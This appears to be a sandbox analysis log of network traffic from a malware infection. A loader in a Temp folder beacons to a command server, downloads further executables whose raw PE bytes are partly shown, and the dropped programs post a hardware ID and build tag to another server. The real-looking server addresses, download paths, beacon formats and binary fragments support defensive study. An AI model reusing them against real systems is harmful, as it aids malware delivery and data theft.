Oct 23, 2024 15:49:18.868782043 CEST	1236	IN	Data Raw: 6e 4e 1b 42 f9 a4 b6 5f 0f 9f f6 40 f5 7b fe 60 28 9e e0 6c 3d e1 ff 5d df 42 dc eb f0 a4 be 5f d5 9f 9b af f3 95 2c 11 ea a5 be e6 a3 06 bd 2f 28 92 20 cb 06 9f 8f 53 5e f5 58 47 78 8b 6e b3 dc 62 53 43 5e ce bb c6 3f 8b e8 cb 38 39 bf 46 5e 7a Data Ascii: nNB_@{`(l=]B_,/( S^XGxnbSC^?89F^z2R4VgqYiZ.yY/DS>\|`6\,g{@J:A>gA'2<83<9b7m:\rA8?z73><\]7@En( 8]@{P14
Oct 23, 2024 15:49:18.868815899 CEST	1236	IN	Data Raw: d9 ca c6 18 40 c4 c7 26 ef c6 d3 ca 37 17 64 a9 1f 8b c0 02 78 ad a2 02 1e f3 37 cb e6 06 ce 30 45 f7 4c 8b d7 22 c7 10 50 a5 b7 ce 07 22 1c 8f dd 52 bf 86 ed 0e 76 3f ce ea 0f cc e6 66 cd 9d 46 ba 78 2a f8 b6 60 37 95 94 f2 ba e6 1e 0d cd d7 9a Data Ascii: @&7dx70EL"P"Rv?fFx*`7DS&qsV-M'87G8PxRZZ0_H8_N"<7KNc>\|h08_ZBg{!5B@8yD0J{']i!_O8t9``9P
Oct 23, 2024 15:49:18.868851900 CEST	1236	IN	Data Raw: 38 ff 5b 37 57 56 70 2b e1 8b 0d e8 ab 17 1c b7 dd 1a bf 29 e4 2a 3c 74 b7 63 bf 8e 77 b4 0c b8 c3 80 f5 77 e6 92 0c e8 e6 d3 4f 63 90 f6 6d 53 0f 10 9d 04 a9 fa 6f 25 4f 93 99 4e 77 ea 1c 98 ef c2 40 38 dd 50 49 67 b4 91 70 b0 e6 d2 b7 bb 71 bd Data Ascii: 8[7WVp+)*<tcwwOcmSo%ONw@8PIgpq@N8zD1^wgqgufP~qg#A`HgF{6NKAgN\lK0q@,-FRgg7{D1dInaSZ
Oct 23, 2024 15:49:18.868887901 CEST	1236	IN	Data Raw: f4 5a 47 f1 82 fd 20 d3 a2 f0 ab 5f dd fa be 0a ec 2b c1 8d 78 e7 fb 42 c3 fe cb 7f 8c 17 d1 66 67 e1 6d 37 d8 27 cb 39 75 ff b7 46 0b 18 59 f6 21 f5 0f 30 b0 a3 88 6a d9 4b c3 ae 71 03 fd 4e 53 d7 07 da 3f 67 7e b4 13 32 8c 5f 3f fd 4f cc c2 be Data Ascii: ZG _+xBfgm7'9uFY!0jKqNS?g~2_?O}'N2"0]5}fQ0Cq.;ngt0\/{N-.w5*Lo'\l%\&HU\|4[1=\|
Oct 23, 2024 15:49:18.868926048 CEST	1120	IN	Data Raw: 41 cb 6b ca 76 95 55 68 8e 2e 82 04 c8 22 3f 89 43 1a 5e 07 9e 0b fc df 13 f6 28 1c fc da 0c 7e 8d 9a 16 64 3d 58 71 9f 5e df bc 6d a7 74 7f b0 f2 5c c3 72 05 c5 36 00 8e cb 9f 14 98 56 f9 a6 8e 1e 95 f5 3a 72 fa 4d e8 66 6d 7d ef 94 67 ae 4b 68 Data Ascii: AkvUh."?C^(~d=Xq^mt\r6V:rMfm}gKh)j_\7al/oz6}}GVpzs?-(j}JuVg:0)3_Lk#7V>.p+Vp$6.w#:t?zaw7@``~#Rh]SN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49991	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:26.075154066 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000977001&unit=246122658369
Oct 23, 2024 15:49:27.009176970 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49992	185.215.113.16	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:27.019789934 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 15:49:27.931945086 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:27 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 23 Oct 2024 13:13:28 GMT Connection: keep-alive ETag: "6718f678-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 70 f6 18 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELpg"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 23, 2024 15:49:27.931968927 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 23, 2024 15:49:27.931981087 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 23, 2024 15:49:27.932096958 CEST	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 23, 2024 15:49:27.932107925 CEST	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 23, 2024 15:49:27.932120085 CEST	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 23, 2024 15:49:27.932130098 CEST	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 23, 2024 15:49:27.932142973 CEST	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 23, 2024 15:49:27.932153940 CEST	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Oct 23, 2024 15:49:27.932167053 CEST	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Oct 23, 2024 15:49:27.937627077 CEST	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49994	185.215.113.37	80	8156	C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:28.390235901 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:49:29.311115980 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:49:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:49:29.612193108 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="build"doma------HDAKFCGIJKJKFHIDHIII--
Oct 23, 2024 15:49:29.903923035 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:49:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49995	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:31.119543076 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000978001&unit=246122658369
Oct 23, 2024 15:49:32.030941010 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49996	185.215.113.16	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:32.223264933 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 15:49:33.123811007 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:32 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 23, 2024 15:49:33.123874903 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 23, 2024 15:49:33.123904943 CEST	224	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M
Oct 23, 2024 15:49:33.123958111 CEST	1236	IN	Data Raw: 30 e8 7d 92 01 00 8b 4d fc e8 d5 4f 01 00 8b e5 5d c3 cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 cd 00 00 00 8b 4d 08 83 c1 30 51 8b 4d fc 83 c1 30 e8 eb 91 01 00 8b 55 08 83 c2 3c 52 8b 4d fc 83 c1 3c e8 d9 91 01 00 8b 45 08 83 c0 48 50 8b Data Ascii: 0}MO]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|=E]
Oct 23, 2024 15:49:33.123994112 CEST	1236	IN	Data Raw: 8d 8d 78 fd ff ff e8 a4 8d 01 00 8d 8d 84 fd ff ff e8 99 8d 01 00 8d 8d 90 fd ff ff e8 8e 8d 01 00 8d 8d 9c fd ff ff e8 83 8d 01 00 8d 8d a8 fd ff ff e8 78 8d 01 00 8d 8d b4 fd ff ff e8 6d 8d 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd Data Ascii: xxmR0PhLVB<QURHPhUBTQUR`PA3P0<HT`
Oct 23, 2024 15:49:33.124037027 CEST	1236	IN	Data Raw: 01 00 e8 a4 f7 ff ff 81 c4 b4 00 00 00 e9 58 ff ff ff 81 ec 88 00 00 00 8b cc 8d 55 08 52 e8 48 f6 ff ff e8 c3 f3 ff ff 81 c4 88 00 00 00 8d 4d 08 e8 f5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 90 a9 64 00 8b 0d 90 a9 64 00 c7 01 01 00 00 00 Data Ascii: XURHM]UEddUdPdAdBd]U}t#E8tMQ;U\|EEHME]UE3tUUE]
Oct 23, 2024 15:49:33.124072075 CEST	1236	IN	Data Raw: 00 68 18 1d 42 00 e8 bc 21 00 00 83 c4 0c a3 bc a3 64 00 6a 09 68 28 1d 42 00 68 34 1d 42 00 e8 a3 21 00 00 83 c4 0c a3 e8 a2 64 00 6a 10 68 40 1d 42 00 68 54 1d 42 00 e8 8a 21 00 00 83 c4 0c a3 0c a6 64 00 6a 08 68 68 1d 42 00 68 74 1d 42 00 e8 Data Ascii: hB!djh(Bh4B!djh@BhTB!djhhBhtBq!djhBhBX!djhBhB?!$djhBhB&!djhBhB!4djhBhB djh(Bh8B ,d
Oct 23, 2024 15:49:33.124109030 CEST	848	IN	Data Raw: 21 42 00 68 e0 21 42 00 e8 e6 1c 00 00 83 c4 0c a3 c8 a1 64 00 6a 0c 68 f0 21 42 00 68 00 22 42 00 e8 cd 1c 00 00 83 c4 0c a3 10 a2 64 00 6a 0b 68 10 22 42 00 68 1c 22 42 00 e8 b4 1c 00 00 83 c4 0c a3 24 a3 64 00 6a 16 68 28 22 42 00 68 40 22 42 Data Ascii: !Bh!Bdjh!Bh"Bdjh"Bh"B$djh("Bh@"BdjhX"Bhp"Bdjh"Bh"Bidjh"Bh"BP8djh"Bh"B7djh#Bh#Bdjh(#BhD#B
Oct 23, 2024 15:49:33.124182940 CEST	1236	IN	Data Raw: 68 58 26 42 00 68 6c 26 42 00 e8 94 19 00 00 83 c4 0c a3 ec a1 64 00 6a 0b 68 80 26 42 00 68 8c 26 42 00 e8 7b 19 00 00 83 c4 0c a3 4c a3 64 00 6a 09 68 98 26 42 00 68 a4 26 42 00 e8 62 19 00 00 83 c4 0c a3 88 a5 64 00 6a 0a 68 b0 26 42 00 68 bc Data Ascii: hX&Bhl&Bdjh&Bh&B{Ldjh&Bh&Bbdjh&Bh&BIdjh&Bh&B0djh&Bh&Bdjh&Bh'Bdjh'Bh'B djh('Bh8'BdjhH'Bh`'B
Oct 23, 2024 15:49:33.124219894 CEST	1236	IN	Data Raw: cb 14 00 00 83 c4 0c a3 5c a2 64 00 6a 0f 68 58 2d 42 00 68 68 2d 42 00 e8 b2 14 00 00 83 c4 0c a3 38 a3 64 00 6a 10 68 78 2d 42 00 68 8c 2d 42 00 e8 99 14 00 00 83 c4 0c a3 58 a2 64 00 6a 10 68 a0 2d 42 00 68 b4 2d 42 00 e8 80 14 00 00 83 c4 0c Data Ascii: \djhX-Bhh-B8djhx-Bh-BXdjh-Bh-BDdjh-Bh-Bg<djh-Bh.BNdjh.Bh$.B5djh8.BhL.Bldjh`.Bht.Bdjh.Bh.Bdjh.B
Oct 23, 2024 15:49:33.129692078 CEST	1236	IN	Data Raw: 00 6a 05 68 78 34 42 00 68 80 34 42 00 e8 e9 0f 00 00 83 c4 0c a3 e4 a0 64 00 6a 08 68 88 34 42 00 68 94 34 42 00 e8 d0 0f 00 00 83 c4 0c a3 b8 a4 64 00 6a 20 68 a0 34 42 00 68 c4 34 42 00 e8 b7 0f 00 00 83 c4 0c a3 94 a5 64 00 6a 07 68 e8 34 42 Data Ascii: jhx4Bh4Bdjh4Bh4Bdj h4Bh4Bdjh4Bh4Bdjh4Bh5Bdjh85Bh<5Bldj_h@5Bh5BSdjh6Bh6B:ldjh6Bh6B!djh 6Bh(6B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50003	185.215.113.37	80	6704	C:\Users\user\AppData\Local\Temp\1000979001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:35.474919081 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:49:36.388794899 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:49:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:49:36.391535044 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 46 49 4a 4a 45 43 46 49 45 42 47 44 47 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------HCBFIJJECFIEBGDGCFIJContent-Disposition: form-data; name="build"doma------HCBFIJJECFIEBGDGCFIJ--
Oct 23, 2024 15:49:36.680915117 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:49:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50005	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:37.887533903 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000979001&unit=246122658369
Oct 23, 2024 15:49:38.803879976 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	60560	34.107.221.82	80	7456	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:39.076633930 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 23, 2024 15:49:39.680572987 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 22 Oct 2024 16:12:19 GMT Age: 77840 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
